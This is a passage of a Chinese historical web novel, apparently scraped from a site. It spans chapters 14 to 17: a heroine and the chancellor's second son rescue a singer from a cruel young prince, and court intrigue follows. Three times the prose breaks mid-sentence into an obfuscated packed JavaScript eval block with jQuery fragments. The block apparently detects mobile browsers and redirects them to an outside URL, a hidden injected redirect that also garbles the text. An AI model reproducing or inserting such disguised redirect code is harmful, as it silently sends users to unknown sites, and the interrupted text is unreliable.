柳舜华循声望去,只见窗边斜坐的少年正端着酒杯,一双养尊处优的手缓缓划过杯沿。 那少年约摸与她同岁,一身绛紫锦绣袍,嘴角眉梢尽显张扬。 他周身气度华贵,怎么瞧都不像寻常人家的公子。 对面坐着的女子颤抖着手,端起酒杯就往嘴里送,还未送至嘴边,酒已洒了大半。 少年摸着杯沿的手霍然一停,猛地将杯中的酒泼在女子娇美的脸上。 女子一惊,杯盏“铛”地一下落在桌上。 少年眉头一挑,冷笑道:“一个杯子都握不住,我要你来何用?” 女子忙用袖子去擦拭洒在桌上的酒水,却是越慌越乱,酒水顺着桌子往下流,悉数淋在少年华贵的衣袍之上。 少年揉着头,半闭着眼:“成川,你是从哪找来的废物?好好的一顿饭,真让人倒胃口。” 一旁站立的随从忙跪了下去,“少爷,这已经是平清坊千陶馆里最漂亮的美人了,还是我从别人那里抢来的。” 平清坊千陶馆,原来砍掉府尹家公子手指的是他。 少年懒懒道:“噢,原来是抢的。不是说好了,好好去请。你这样,也难怪她害怕。” 那个叫成川侍从嬉笑道:“那人拉着梅好姑娘不让走,我只能断了他一根手指。不过少爷放心,我留了十贯钱给他。” 少年略一点头,对着梅好姑娘不解道:“我们给了钱的,你还怕什么?” 少年生得极好,眉目如画,眼神清澈,目光柔和得像是个不谙世事的孩童。 梅好姑娘却浑身止不住一阵颤抖。 一炷香前,她亲眼看到过卓公子的断指,光秃秃的指头,白森森的骨节,满手都是血。 梅好姑娘身子一软,跪伏在桌前,“公子饶命,公子饶命。” 少年倒了一杯酒,长长的羽睫垂下,声音中带着几分落寞:“我不过是想花钱找个人,好好吃一顿饭罢了,怎么就这么难呢?” 梅好颤抖道:“梅好无……无福,求公子放过。” 少年拍了拍被酒水浸湿的衣衫,抬头笑道:“可是,你毁了我的衣裳,还有吃饭的心情,是要赔的。” 梅好忙应声: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863678|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我赔,我愿意赔。” 少年一手托腮,一手敲击着桌子,缓缓道:“好,那我给你两个选择。一、留下你一根手指,陪着我吃饭。二、留下你一只眼睛,看着我吃饭。” 他俯下身子,凑到梅好跟前,柔声问:“你选哪个?” 柳舜华静静地看着少年,他眼中并无杀意,只是充满了戏谑。 他好像很喜欢欣赏他人的恐惧,别人愈不安,他笑意愈深。 尤其是他看人的眼神,与看圈养在栅栏内的猪狗没什么不同。 裙摆晃动,柳舜华收回神思,垂眸看到跪在地上的梅好姑娘。 梅好一脸惊恐,紧紧抓住她的裙摆,像是抓住最后一根救命稻草。 “姑娘,求你,救救我。” 柳舜华不愿惹事,所以一直旁观。 可如今,看到有人匍匐在她脚边,把她当成救命稻草,她还是心软了。 她弯腰将梅好扶起,替她拍去身上的尘土,轻声安慰道:“姑娘,别怕。” 少年含笑看着柳舜华,“怎么,你想替她赔?” 柳舜华摇头,“公子身上这件衣袍华贵异常,我赔不起。至于我的手指和眼睛,我还有用,更不能留下了。” 少年有些意外,扬眉道:“你看了这么久,我还以为你会帮。” 柳舜华笑笑,“我是想帮,可凡事总要量力而行,公子身份尊贵,不是我能轻易得罪的。” 方才她在旁瞧着,这少年行为举止实在异于常人,若一味求情或行为冒进,多半只会惹怒他,倒不如坦诚一点,或许还有转圜的余地。 相府三年,察言观色,她学到了极致。 少年没想到她会这么说,又是一怔,随即嘴角牵起一丝嘲讽:“既然你不愿意帮,为何还要给她希望。给人希望,又不帮,不太厚道吧。” 此话一出,梅好姑娘也愣了,转头可怜巴巴地望着柳舜华。 柳舜华点头:“没错,您说得对极了。是我想的不周,多谢公子提点。” 她明明语气轻柔,态度恭谨,少年却无端觉得吃瘪。 这女子,和他预想的完全不一样。 他以往所见的女子,对他要不阿谀奉承,要不避之如蛇蝎,他早已习惯。 可眼前的女子,目光平和,坦诚磊落,看他的眼神与看其他任何人并无不同。 她并不怕他。 这种感觉,谈不上多舒服,但至少不让他讨厌。 少年饶有兴致地打量着她,一身青绿素袍,身姿窈窕却不过分清瘦,眉眼明媚,颇有几分洒脱之感。 他转动着手中的杯子,“有意思。” 柳舜华见他目光缓了几分,似乎有些松动,适时道:“这位姑娘扰了公子吃饭的雅兴,实在不该,公子生气也在情理之中。既然她不能替公子添趣儿,何必看着心烦,不如撵了去。我这里有上好的凉州葡萄酒,若公子不弃,愿赠一坛给公子助兴。” 少年突然坐正,又往前探了探身子,“你也觉得,扰人用饭的雅兴是不对?” 柳舜华顺着他的话,“当然。” 少年搓着手,眼神中透着莫名的兴奋,“我让她滚,你陪我一起用饭吧!” 柳舜华一愣,原本她以为,少年不过是想寻个借口,刻意羞辱梅好姑娘找趣儿,为了让他面上过得去,才顺着他说了一嘴。 谁知这人又绕到吃饭上,他对吃饭是有多大执念啊。 柳舜华头疼,这人真是太难缠了。 “吃饭啊,我陪你如何?” 慵懒的声音从门外传来,贺玄度笑着走了进来。 15. 第 15 章 贺玄度来得很及时。 柳舜华心上一喜,对着贺玄度道:“你来了。” 贺玄度状似不满,“再不来,我怕你将我的酒都送人了。” 柳舜华垂眸轻笑:“我那里还有呢,你若喜欢,都送你。” 贺玄度有些受用:“这还差不多。” 趁着两人说话的功夫,少年饶有兴致地打量着贺玄度。 一袭花青云纹直裾深衣,衣领袖口织锦,腰配组玉,手持羽扇,一脸骄矜,花枝招展远胜于他。 店家一见贺玄度,忙出来迎,“贺二公子。” 少年一听,讥笑一声,“哦,原来是贺丞相家的纨绔二公子。” 贺玄度也不恼,径直走过去坐在少年对面坐下,“承让承让。” 少年皱眉,不客气道:“我让你坐了吗?” 贺玄度倒了一杯酒,饮了一口,“难道我听错了,可方才我分明听到你邀我一起吃饭。” “你聋了还是瞎了?”少年冷声,抬手指向柳舜华,“看清楚了,我邀的是她。” 贺玄度皱头一眉,将余下的酒泼在地上,“这酒你也喝得下去?洪声,将外面的凉州葡萄酒拿来一坛。” 洪声很快抱着酒进来,将酒放在桌上。 贺玄度打开酒坛,各自斟满一杯,将其中一杯推到少年面前。 少年低眸看了一眼,嘴角不屑:“贺二公子,你当我没喝过葡萄酒吗?” 贺玄度笑道:“我知道,你定是什么酒都不缺。只是想让你先喝点酒,开开胃。” 话音方落,他又扫了一眼桌面,频频摇头,“恕我直言,这位公子,你吃饭没兴致,不是缺个逗趣的,实在是因为……你太土了啊。” 少年猛地抬眼,不可思议地看着贺玄度。 他活了十八年,第一次被人说土,还是当着他的面。 梅好姑娘闻听此言,浑身瘫软,险些跌倒。 这位贺二公子是来捣乱的吧。 方才身边的姑娘步步退让,好不容易才让这个活祖宗松了一点口,他却拱火挑事,怕不是要把她往死路上逼啊。 她求助似地望向柳舜华,却见她无甚反应,只是静静地看着贺玄度,眼中竟隐隐有一丝期待。 果不其然,少年怒道:“你敢说我土?我看你是嫌命太长了吧!” 贺玄度不紧不慢道:“你急什么,我又不跑,先听我说完再看看我命长不长。” 少年正是轻狂的年纪,怒目圆视,大有他说不出个所以然,连他也不放过的架势。 贺玄度指向满桌的菜食,咋舌道:“你不但土,而且自大。这一桌自用的调味之物,你全用错了。但凡多听掌柜的说两句,你都不会错得如此离谱。” “先说这道羊汤,色白味鲜,根本不需要放什么调味,你居然……放了醋。”他一脸嫌弃,又将目光移到一边,“还有这个炙鱼,本身已经加了盐的,你还要放咸豉。最不能忍的是这个卷饼,本身已经有了肉荤,你却加了鱼酱,应该加黄豆酱、葱丝去解油腻才对。” 少年听得目瞪口呆,长安第一纨绔,果然讲究。 贺玄度说完,伸手拿了一张薄饼,用筷子蘸了黄豆酱,均匀涂抹在饼上,夹足了肉丝,又挑了些葱丝,卷在一起递给少年。 少年一动不动,压根没有去接的意思。 他不屑道:“你别……” 方一张嘴,贺玄度眼疾手快,俯过身子将饼塞进他嘴里。 他呜呜骂了几句,眼神一亮,不自觉嚼了起来。 贺玄度冲他一笑:“怎么样?” 少年擦了擦嘴角,“勉勉强强吧。” “这位公子,你吃了我亲手喂的卷饼,也该消气了。” 贺玄度指向一旁的柳舜华与梅好姑娘,“这样,你放她们走,咱们也算是两清了。” 说罢,他朝着两人挥手,示意两人离开。 柳舜华会意,扶着瘫软的梅好姑娘便往外走。 一把长刀便横在眼前,那个叫成川的侍从挡在她们前面,正冷眼瞧着她们。 少年声音发寒:“我让你们走了吗?” 贺玄度无奈一叹,“都吃了我的饼了,还这么大火气。” 少年仰头道:“我需要你……” “我觉得我们可以好好谈一谈。”话未说完,贺玄度侧身探至少年跟前,略一挑眉,低声道:“济阳王。” 少年一瞬怔愣,贺玄度已经认出他了? 贺玄度坐正,对着成川挥挥手,“你可以把刀放下了。” 成川望向济阳王,见他微微点了一下头,这才将刀抽回。 柳舜华行至门口,尤有些不放心,忍不住回头看了一眼贺玄度。 贺玄度冲着她摆了摆手,示意她安心离开。 店内只余三人,济阳王才缓缓道:“你要与本王谈什么?” 贺玄度举起酒杯,“先喝一杯?” 济阳王淡淡扫了他一眼,随着他饮了一杯。 成川十分知趣地替两人满上。 济阳王晃动着杯子,看着贺玄度道:“你以前,见过本王?” 贺玄度摇头,“没有,我猜的。” 济阳王不信,“这都能猜到?” 贺玄度笑笑:“来的路上,经过平清坊,我听说府尹家的独子被人砍掉了一根手指。长安城里除了我,没人敢如此张扬,可偏不是我做的。我思来想去,整个大安,能纨绔过我的,便只有年少便袭爵的济阳王了。” 济阳王漫不经心道:“怎么,我的名声都传到了长安?” 贺玄度摇头,“那倒没有,是我去过济阳,听到过王爷您的一些事迹。” 济阳王来了兴致,“什么事迹,他们怎么说我?” 成川倒酒的手一抖,杯中的酒水一下溢了出来,忙用袖子挡住酒水。 济阳虽非大安重地,但背靠济水,千里沃野,也算富庶。 老济阳王深受先皇疼爱,在位期间,朝廷赏赐不断,一生积累财富无数。 十八年前,老济阳王母族卷入先太子造反一事。 事后清算,老济阳王虽获先皇谅解,却从此恩减。 自此以后,老济阳王便纡郁难释,早早撒手人寰。 年仅二岁的刘昌,便在此种情况下承袭了爵位。 因常年缺乏管教,又远在封地无人约束,他便愈发放浪起来。 济阳王府更是日日歌舞不绝,夜夜笙歌。 老济阳王留下的贤臣看不下去,也曾屡屡规劝过。 可刘昌总是口头上应着,私下照旧。 偶有几次被郎中令当面指责,他听得不耐烦,也不去驳斥,只捂住耳朵,嬉皮笑脸。 郎中令好几次都被气得险些犯病。 贺玄度早年游历济阳时,没少听刘昌做的那些荒唐事。 刘昌喜斗鸡,曾在集市上看中一只健硕的母鸡,张口便问能不能斗。 卖鸡的贩子不知他身份,连声称是,将一只普通的母鸡吹嘘成战无不胜的斗鸡。 刘昌大喜,给了鸡贩十贯钱。结果那母鸡却在斗鸡时被啄个半死,害得刘昌丢尽颜面。 他怒气冲冲去寻那鸡贩子,鸡贩子当即跪地认错,哭诉自己上有高堂需要医治,下有幼儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863679|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗷嗷待哺。 刘昌不知怎地,突然就感动了,不但原谅了鸡贩子,反而又赏了他十贯钱。 然而隔日,王府内有人便发现那鸡贩子就是个骗子。 骗子利用刘昌的声威,将剩余十几只鸡高价卖了之后,怕事情败露,连夜卷铺盖逃出了济阳。 刘昌气急败坏,寻不到骗子,便下令挖了那骗子家的祖坟泄愤。 谁知骗子连身份都是假借的,王府挖错了坟。 被无端挖坟的人家先是一阵懵,随后全家人整整齐齐地跪在坟前哭了半日。 刘昌听后愧疚,着人将人家祖坟好一顿修缮,又赏钱百贯钱了事。 此事被济阳城百姓当做茶余饭后谈资,笑了足足一年。 刘昌虽说荒唐,可好在他还算有自知之明,因为懒政,当然也可能是不懂,几乎不对济阳政事妄加干涉。因有足够的财富积累,他也懒得敛财,是以他在位的十多年,济阳百姓生活还算过得去。 只有一点,他本人虽对吃食上不甚在意,但每次用膳,皆需有妙龄少女陪着方才肯进食。 为此王府内养了不少女子,什么都不用做,只在他用膳时陪侍左右。 贺玄度仔细回想了一下,“何必呢,都是市井流言。算了,还是说说正事吧。” 刘昌换了个坐姿,“谈什么?” 贺玄度道:“自然是砍了府尹家公子手指之事。你此番奉召进京,皇上的面还未见到,就先在长安城惹事,就算圣上念在亲情上不计较,那些大臣可不是那么好说话的。” 刘昌满不在乎,“那些人也就那点能耐,大不了就是罚俸,难不成还能因为这点小事就革了我的王爵。” 他有的是钱。 罚俸,他根本不在乎。 贺玄度摇头:“今时不同往日,圣上病重,如今圣体尚未康泰,你进京第一日,不想着为圣上祈福,却先惹出事端。此事可大可小,若他们铁了心要治你,只怕也少不了麻烦。” 刘昌想了一下,问道:“那你有何高见?” 贺玄度抬头一笑,“这个锅,我替你扛一半如何?” 刘昌一愣,哼道:“你有这么好心?” 贺玄度眼眸一睨,“当然有个条件,我要你日后不再与她们为难。” 刘昌懂了,他这是怕他秋后算账。 不过,有相府二公子帮忙担着,朝中那些人多少会有所顾忌,于他并无害处。 百利而无一害的交易,他没有理由拒绝,“好,我答应你。” 贺玄度举起了酒杯,两人一饮而尽。 几杯酒下肚,两人相视一笑,大安两大纨绔,竟然生出些许惺惺相惜之感。 刘昌放下酒杯,意味深长道:“你是为了方才那个姑娘吧?真是没想到,为了她,你竟然连名声都不要了。” 贺玄度淡淡一笑,“你想多了。名声,我有吗?” 刘昌略一思索,的确,贺玄度的名声,也没什么保全的必要。 事已解决,贺玄度摸了摸肚子,“说了半日,都饿了,开吃吧。” 刘昌眉头一皱,伸手夹住贺玄度的筷子,“你,走。我这人,从不与男子一桌进食。” 贺玄度无奈,将筷子丢在桌上,“你还真是,翻脸无情啊。” 刘昌挥挥手,“慢走,不送。” 看着贺玄度走出店内,成川望着他的背影,一脸疑惑:“王爷,您说,他图什么啊?” 刘昌端起面前的酒杯,红澄澄的葡萄酒,血红诱人。 他一饮而尽。 “成川,你去查查,方才那位姑娘,到底是何来历。” 16. 第 16 章 马车缓缓前行,望月楼渐行渐远。 梅好姑娘微曲着纤弱的脖颈,云鬓蓬乱,羽睫轻轻颤动,双手攥紧衣裙,缩在角落,坐立难安。 柳舜华低声道:“梅好姑娘,不要怕,已经没事了。” 梅好姑娘茫然抬眸,看着眼前的柳舜华。 她正望着她,目光柔和,嘴角含笑。 这一辈子,许多人对她笑过,有男子肆意的调笑,女子刻薄的嘲笑,还有来自地狱深处阴冷的笑。 可她唯独没有见过这样的笑,轻柔、舒缓,似月下静流的溪水,不动声色地安抚着人心。 她让她觉得,她也是个普通人,也值得被温柔对待。 梅好慢慢回过神来,鼻子一酸,不住向柳舜华道谢。 柳舜华轻声道:“我也没帮什么,要谢的话,就谢贺二公子吧。若不是他,咱们怕是没那么容易脱身。” 梅好点头,“平日里,常听人说贺二公子纨绔,可今日却多亏有他。”她轻咬朱唇,眸光点点,“府尹的公子,他们说砍就砍,毫不留情。以我这般身份,即便今日死在望月楼,也不会有人敢多问一句。若非姑娘肯出手周旋,我怕是要难逃一劫。” 柳舜华安慰道:“你别想太多,已经过去了。” 梅好半仰着一张娇嫩的脸,面露歉意,“虽说如此,可到底是我连累了姑娘。我一时心急,强行拉姑娘下水,实在不该。可我当时,实在怕极了……” 柳舜华淡笑一声,握住她微微颤抖的手,“姑娘不用自责,我没有姑娘想得那般好。我也是看准那人并无杀心,才敢出言相帮。” 她虽这么说,梅好却知,这位小姐肯为她出头,已是十分难得。 冒着得罪权贵的风险,去帮她这么一个歌姬,实在不是一桩划算的买卖。 若非她敢于出头,从中周旋,她哪里还能等到贺二公子出现。 想到贺玄度,她忧心道:“也不知那人什么来历,贺二公子见了他,尚有几分忌惮,不知他会不会有麻烦。” 柳舜华也想不明白,不过贺丞相自皇上登基便辅佐左右,多年来君臣一心,贺家在大安稳如磐石,贺玄度应该不会有事。 她道:“他是贺家人,长安城中权贵就算再不开眼,也不至于会为难他。” 梅好点头,垂眸不语。 马车行至平清坊,梅好犹豫片刻,还是开了口:“我身份低微,本不配知晓小姐芳名,只是蒙小姐大恩,得以脱困,此等恩情,梅好不敢忘。还望小姐不弃,告知芳名,好让梅好知晓恩人是谁。” 柳舜华听罢,只觉心中酸涩。她不过是出言周旋几句,这姑娘却恨不得把她说得救世神仙一般。 她省去客套,爽朗一笑:“柳舜华。” 梅好低声念着她的名字,“舜华?” 柳舜华道:“对,舜华,也就是木槿。人常说它朝开暮落,寓意不详;我娘却说,它是日日常新。” 日日常新。 梅好一瞬恍神,随即无比认真道:“姑娘,我记下了。” 与柳舜华相互道别后,梅好下了马车。 坊门前,柔弱的身影像一朵娇花,风一吹便能连根拔起。 柳舜华瞧着她一步步走向千陶馆,心底泛酸。 她历经艰辛,从望月楼死里逃生,如今回去却也不过是出虎穴进狼窝。 欢场之内,历来只有买笑追欢意,哪有怜香惜玉心。 柳舜华长长一叹。 千陶馆内的歌舞姬虽是卖身于此,可她作为头牌,结交多显贵,定也积攒不少银钱,若有心要离开,钱财必也是够的。她怕的,应是不知日后如何立身吧。 就像前世的她一样,无法说服自己,坚定地迈出那一步。 嫁进相府半年后,她觉察到贺玄晖不喜欢自己,他们之间断无恩爱白首的可能时,本有机会提出和离。可她却怕了,她怕世人的指点非议,怕此生再抬不起头做人,更怕无处安身。也正是这重重顾虑,让她困于相府多年,再脱不开身。 后来她读了很多书,明白了这世间许多道理。 与其郁郁消磨此生,倒不如冲出去,走一遭。 好也罢,歹也罢,总是要先走出去。 强似被困在牢笼,连挣扎的欲望都慢慢被消磨,最终无声无息地枯萎,零落成泥,归于尘土。 她想,或许,梅好姑娘也一样,需要有人拉她一把。 “梅好姑娘。”柳舜华突然叫住她。 梅好回头,望着柳舜华。 柳舜华对上她的目光,朗声道:“千陶馆非久留之地,若姑娘日后打定主意要离开,想要重新开始,可以去城西柳府。我虽无能,却也愿助姑娘一臂之力。” 梅好立在日光下,怔愣许久。 从来没有人跟她说过,她可以重新开始。 从来没有人想着帮她脱身,没有任何条件,没有任何私心。 她鼻尖微红,高仰起头,虽是笑着,眼眸中却带着泪,“姑娘,若你是个男子,我此刻定要爬上你的马车,再不下来。” 说完,梅好朝着柳舜华行了个大礼,转身入了千陶馆。 千陶馆方经历一场混乱,此刻馆内只有姑娘们在,一时冷清不已。 见梅好回来,众人下意识地朝她望去。 馆主扒开几个站在前头的姑娘,走上前拉着梅好问:“你怎么样,没事吧?” 梅好一把甩开她的手,“放心,若是再有客人来,我照样能唱能跳,耽误不了替您挣钱。” 馆主讪讪一笑,“姑娘说的是什么话,平日里我何曾苛待过你,不是一直好吃好喝伺候着。我也疼你,可你也看到了,卓公子都被当场砍了手指,我怎么敢多说一句。” 梅好冷声道:“那就眼睁睁看着我被人带走,芳姐可知,我险些被剁了手挖了眼?” 馆主倒吸一口凉气,“对方到底是何人,说好只是带你去陪酒的,竟如此不懂得怜香惜玉。” 见梅好无事,她又双手合十,口中念念有词,“多亏老天开眼,让你逃过一劫,你且回房好好休息,这两日就不必操劳了。” 梅好瞥了她一眼,“不是老天开眼,是贺家二公子碰巧去了望月楼,顺手帮我脱困。” 她刻意只提了贺玄度,以免日后被问起时殃及柳舜华。柳小姐毕竟也是女子,她不想她帮了自己,还要卷进风波之中。 馆主听到贺二公子,眼神一亮,“姑娘什么时候搭上了贺家二公子?” 梅好转身上楼,“芳姐,我累了。” 梅好方进屋阖上门,还未转身,一阵掌风便直朝她袭来。 她眼中突然闪过一丝狠厉,毫无方才柔弱之态,身子一矮,伸手抓住背后的手臂,猛地撞在墙上,快速拔下头上的发簪,抵在来人脖颈处。 “是我,刑风,手下留情。” 梅好收了发簪插在头上,转身坐下,“我早知是你,不然,你哪还有命活。” “不愧是咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863680|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千引阁最厉害的杀手。”刑风摸着脖子,顺势靠在墙边,“一年未见,我以为只要勤学苦练,总能超过你,可现下看来,我还差得远呢。” 梅好不屑,“你,勤学苦练?刀桥你可有走过,你知道一着不慎便被划得遍体鳞伤的滋味吗?箭阵你可有闯过,你尝过一箭贯穿身体,肋骨折断的滋味吗?少阁主,人贵有自知之明。” 刑风唇角抖动了几下,挠挠头,“什么第一不第一的,我其实也没那么在意。” “你过来有什么事?”她倒了一杯水,喝了一口,“不会是为了确认今日之事吧?” 想了想,她又道:“那济阳王果如传闻一般糊涂,我已诱得他出手,皇上不日便会知晓他的荒唐行径。只是,我不懂,皇上处置济阳王,彭城王能得到什么?” 刑风笑笑,顺势坐在桌上,拿腔道:“这就复杂了。先皇有六子,长子也就是先太子此前因造反被杀,事后先皇虽没继续追究,但他那一脉到底流落到了民间,现已衰落,成不了什么气候。四皇子因触怒龙颜,被罚到燕地,此次更是连面圣的机会都没有。五皇子早夭。如今皇族,只有彭城王,还有济阳王,这两支还算强盛。” 梅好有些懂了,“若此次济阳王的事情被闹大,那他便会彻底失了圣心。那日后皇族中,皇上可倚重的,就只有彭城王了。” 又转念一想,“不对,还有一位。平阳王,皇上的亲叔叔,他才是皇上最信任的人。” 刑风摇头,“平阳王再受倚重,到底只是皇上的叔叔,可彭城王是皇上的亲兄弟,他才是正统。” 梅好一时反应不过来,“正统?” 刑风压低声音,“宫内的暗线传来消息,皇上圣体有恙,只怕……这次面圣,多半是为选继承人。” 梅好愕然,怪不得这么些年,彭城王到处安插眼线,他一直觊觎皇位。 也是,那至尊之位,谁不想去坐一坐。 刑风转头,背对着梅好,不再去看她,“若日后彭城王顺利登基,梅好,我去求父亲,给你解药。到时,你就自由了。” 梅好抬头,望着紧闭的花窗,喃喃道:“自由?” 刑风不会明白,阻碍她自由的,从不是那枚解药。 …… 马车穿过平清坊,前方传来一阵骚乱。 “小姐,是公子。”车夫提醒。 柳舜华掀开车帘,只见几个小吏簇拥下,兄长正往平清坊赶去。 “兄长。”柳舜华叫住了柳桓安。 柳桓安停下脚步,走至车前,“蓁蓁,你怎么在这?” 柳舜华反问道:“兄长不是正忙诸侯朝见之事,为何会在此处?” 柳桓安眉头紧锁,“出了点事,我要过来查看一番。” 这个节骨眼上,能让兄长火急火燎地赶过来,必定事涉诸侯。 她忙道:“兄长可是为了府尹公子被砍断手指一事?” 柳桓安点头,“你也听说了,这里现下乱得很,你快些回家吧。” 柳舜华心上蓦地跳了一下,脱口而出:“兄长,动手的可是济阳王?” 柳桓安一愣,“你怎么知道?” 济阳王,果然是他。 方才她怎么把这个祖宗给忘了。 睿帝驾崩后,新帝登基前,丞相贺留善还曾扶持过一位傀儡皇帝。 不过他在位不足三个月,便因行事过于荒唐,被贺丞相联合诸臣废黜。 这位废帝,便是济阳王。 17. 第 17 章 皇上圣体有恙,诸侯朝见,如此关头,济阳王竟敢在长安惹事。 如此行径,柳舜华怎么也没想到。 废帝刘昌在位不足三月,上辈子她并未见过,只听闻此人行事放荡,言行乖谬。 这辈子,她总算见识到他有多荒唐。 她眉头紧蹙,若是贺玄度不慎得罪了济阳王,待他日后登上皇位,不知会不会清算。 “柳大人。”身后有人出声提醒。 柳桓安看了一眼柳舜华,叮嘱道:“我还有事,你先回家,记得我说的话。” 柳舜华心乱如麻,胡乱点头。 一直等到暮色沉沉,柳桓安才从府衙归来。 柳舜华端汤过去的时候,柳桓安官服都未来得及换下,正坐在窗前写着什么。 “兄长,都已经回来了,还在忙呢?” 见柳舜华过来,柳桓安放下了笔,揉头道:“后日诸侯便要面圣,谁知今日济阳王便捅了这么个大娄子。” 柳舜华将汤递过去,“安神的,先喝了。” 柳桓安接过,喝了一口,“挺甜的,你什么时候会做这些了?” 当初老夫人离世后,柳舜华沉郁了许久,在相府心气不顺,夜夜难眠。妙灵心急,便为她寻来药方,又在贺玄晖那里求了许久。贺玄晖看在过世老夫人的面上,勉强答应了妙灵私设个小厨房给她煎药。 柳舜华接过空碗放在一边,“医书上看的。” 柳桓安一碗热汤下肚,浑身舒畅不少,笑道:“蓁蓁近来长进不少,都知道关心兄长了。你这么贴心,若日后嫁了人,兄长可就孤单了。” 柳舜华歪头道:“那蓁蓁若是不嫁人,一直陪着兄长,兄长可会烦?” 柳桓安摸着她的头,“若是将来碰上了心仪之人,自然是要嫁的。可若命中无缘,实在不想嫁,那就不嫁。兄长说过,你和棠华,柳家都养得起一辈子。” 上辈子,柳舜华嘴上说着大不了回娘家。 可心底总有几分担忧,到底是嫁出去的女儿,她怕给父兄惹麻烦,更怕他们会嫌弃。 如今,兄长明明白白说与她,他不在乎这些流言蜚语,只想护她们一世周全。 柳舜华不觉眼眶湿润。 “兄长,你是这天底下,最好的兄长。” 柳桓安戳开她凑过来的头,“少拍马屁。” 柳舜华突然想起,上辈子,兄长一直未娶。 自她嫁进丞相府,棠华做了皇后,到柳府说亲的人踏破门槛,可兄长却始终不为所动。 她问:“兄长,你一直不娶,是没有心仪之人吗?” 柳桓安眸色一沉,望向桌上燃烧的烛花。 烛影在墙上晃动,一室寂寥。 他幽幽叹了一声,“我这辈子,命中无缘。” 柳舜华看他眉宇间有些伤感,忙转移话题,“济阳王的事,可解决妥了?” 柳桓安想到她午间的话,转头盯着她:“我还未问你,你怎么知道是济阳王?” 柳舜华早想好说辞,“今日出门路过平清坊,听人猜的。” 柳桓安顿觉不妙,“平清坊都传开了?” 柳舜华忙否认,“那倒没有,就是我听到有人嘀咕,多数还是不晓得的。” “原本长安已经有了个纨绔,没想到来了个更荒唐的。” 柳桓安头疼,“这两个纨绔偏还混到了一起。” 柳舜华眉头一抬,“兄长怎么知晓他们混在一起?” 柳桓安揉着额头,“查清平清坊原委,我便找上济阳王府邸,他正与贺玄度一同饮酒。济阳王很爽快地承认了是他伤人,贺玄度也有参与。” 柳舜华一愕,“贺玄度承认了?” 柳桓安点头,“济阳王,丞相府。明日朝会,有得闹了。” 柳舜华头脑有些混乱,贺玄度怎么突然涉事其中,莫不是受了济阳王的哄骗,或是威胁。 第二日朝会,济阳王、贺玄度,苦主京兆府尹,悉数到场。 朝会之上,济阳王称是卓公子出言辱骂在先,他的随从情急之下才动手。 京兆府尹当即跳出来,驳斥济阳王颠倒是非,暗指他针对他儿子,或是早有预谋。 济阳王也不否认,反指着京兆府尹的鼻子骂他胡搅蛮缠,有其父便有其子。 双方你来我往,争执不下。 贺玄度这时站了出来,大大方方承认两人的确早有谋划。 众臣惊愕中,他罗列了卓公子诸多罪状,并呈上证据:仗着其父是京兆府尹,纠集一批流氓整日欺行霸市,一言不合便踢了商贩的摊子;威逼利诱,侵夺他人田产;恶意放贷,强抢民女,逼良为娼。 一场争风吃醋引发的血案,被他强辩成两人一时意气,为民除害。 彭城王的人,早已暗中联络京兆府尹,要他咬死济阳王,又安排一些臣僚准备借机参上济阳王一本。 岂料半路杀出个贺玄度,看他一副大义凛然的架势,那群人已经先弱下去一大截,又忌惮着贺丞相,迟迟不敢出面。 皇上本就顾忌皇室威严,不好苛责济阳王,贺玄度这么一闹,倒正合他心意。 最后,济阳王被皇帝斥责几句虽无视朝廷法度,但念其心正,罚俸三月,这事就过去了。 济阳王这边,左右无人管教,算是顺利脱身。 出了皇宫,他越琢磨越觉得不对,总有一种被人算计利用的感觉。 至于贺玄度,朝会之后,丞相脸色铁青,拽着他回了相府。 柳舜华忐忑一晚,一早便让芳草去打听情况。 芳草伶俐,借着为自家公子送吃食的由头,很快便打听出了朝堂的结果。 皇上虽未处置贺玄度,但以贺丞相素日行为,贺玄度未必能轻易脱身。 柳舜华忧心贺玄度,顾不上其他,亲自去丞相府门前打探消息。 她找人寻了洪声,迫不及待地问贺玄度如何。 “公子不太好。”洪声叹了一口气,“老爷说公子丢人现眼,一直嚷着要打断他一条腿,打得那叫一个惨啊。” 柳舜华如坠冰窟,浑身颤抖。 眼泪夺眶而出。 贺玄度的腿,就这么断了。 她竭力稳住情绪,声音干涩,“贺玄度,他人怎么样?” 洪声吓了一跳,“柳小姐,你怎么了,怎么好好的哭了?” 柳舜华急道:“他到底怎么样了?” 洪声有些懵,还是如实道:“板子才落下,公子便哭天抢地的喊,总算把老夫人喊来了。老夫人抱着公子大哭,老爷不敢妄动。公子的腿,算是保住了。” 柳舜华浑身一松,险些跌倒。 还好,贺玄度的腿,没断。 洪声小心翼翼,“柳小姐,你没事吧?” 柳舜华拍着心口自我安慰,“没事就好,没事就好。” 